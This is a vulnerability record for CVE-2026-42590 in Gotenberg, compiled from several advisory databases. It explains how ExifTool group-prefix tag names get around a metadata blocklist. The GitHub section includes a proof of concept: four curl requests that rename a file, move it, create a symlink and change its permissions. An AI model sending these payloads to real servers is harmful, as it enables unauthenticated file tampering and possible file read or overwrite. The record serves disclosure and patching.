8.2high
Gotenberg: ExifTool group-prefix syntax bypasses dangerous-tag blocklist
- Severity
- 8.2high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.44% (higher than 29% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-7v3r-m9c8-r855GO-2026-5234
Description
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.30.0, The ExifTool metadata write blocklist in Gotenberg can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching. The safeKeyPattern regex (^[a-zA-Z0-9\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc. Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix. This vulnerability is fixed in 8.30.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| gotenberg gotenberg | < 8.30.0 | CVE List |
| github.com/gotenberg/gotenberg/v8 (Go) | up to 8.29.1, before 8.30.0 | GitHub Advisory Database, Go Vulnerability Database |
| thecodingmachine gotenberg | before 8.30.0 | NVD |
All scores
| GitHub_M | 8.2high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L |
| GitHub | 8.2high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.30.0, The ExifTool metadata write blocklist in Gotenberg can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching. The safeKeyPattern regex (^[a-zA-Z0-9\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc. Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix. This vulnerability is fixed in 8.30.0.
GitHub Advisory Database
Summary
The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.
Details
The blocklist in pkg/modules/exiftool/exiftool.go filters four dangerous pseudo-tags (FileName, Directory, HardLink, SymLink) using strings.EqualFold(key, tag). However, ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching.
The safeKeyPattern regex (^[a-zA-Z0-9\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc.
Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix.
PoC
# Rename the converted PDF (bypasses FileName blocklist)
curl -F "files=@test.pdf" \
-F 'metadata={"File:FileName":"pwned.pdf"}' \
http://localhost:3000/forms/pdfengines/metadata/write
# Move the file to /tmp (bypasses Directory blocklist)
curl -F "files=@test.pdf" \
-F 'metadata={"File:Directory":"/tmp"}' \
http://localhost:3000/forms/pdfengines/metadata/write
# Create a symlink (bypasses SymLink blocklist)
curl -F "files=@test.pdf" \
-F 'metadata={"File:SymLink":"/tmp/symlink-poc"}' \
http://localhost:3000/forms/pdfengines/metadata/write
# Change file permissions (not blocked at all)
curl -F "files=@test.pdf" \
-F 'metadata={"FilePermissions":"rwxrwxrwx"}' \
http://localhost:3000/forms/pdfengines/metadata/write
Impact
Pre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.
This is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.
Go Vulnerability Database
Gotenberg's ExifTool group-prefix syntax bypasses dangerous-tag blocklist in github.com/gotenberg/gotenberg
NVD (es)
Gotenberg es una API sin estado impulsada por Docker para archivos PDF. Antes de la versión 8.30.0, la lista negra de escritura de metadatos de ExifTool en Gotenberg puede ser eludida utilizando la sintaxis de prefijo de grupo de ExifTool, lo que permite el cambio de nombre, movimiento, creación de enlaces duros (hardlink) y enlaces simbólicos (symlink) arbitrarios de archivos en el servidor. ExifTool soporta la sintaxis de prefijo de grupo donde File:FileName se procesa idénticamente a FileName -- el prefijo es eliminado por SetNewValue en Writer.pl antes de la coincidencia de etiquetas. La expresión regular safeKeyPattern (^[a-zA-Z0-9\-_.:]+$) permite dos puntos, por lo que los nombres de etiquetas con prefijo pasan la validación. Cualquier prefijo funciona: File:FileName, System:Directory, a:HardLink, etc. Además, las pseudoetiquetas FilePermissions, FileUserID y FileGroupID no están bloqueadas en absoluto y pueden modificar atributos de archivo sin ningún prefijo. Esta vulnerabilidad está corregida en la versión 8.30.0.
References
| https://github.com/gotenberg/gotenberg/security/advisories/GHSA-7v3r-m9c8-r855 | advisory, exploit, vendor-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42590 | advisory | |
| https://github.com/advisories/GHSA-qmwh-9m9c-h36m | advisory, web | |
| https://github.com/gotenberg/gotenberg | package | |
| https://github.com/gotenberg/gotenberg/releases/tag/v8.30.0 | web | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-42590 changed 2026-05-15 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-7v3r-m9c8-r855 changed 2026-07-21 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-5234 changed 2026-11-24 | CC-BY-4.0 |
| NVD | CVE-2026-42590 changed 2026-11-11 | Public domain |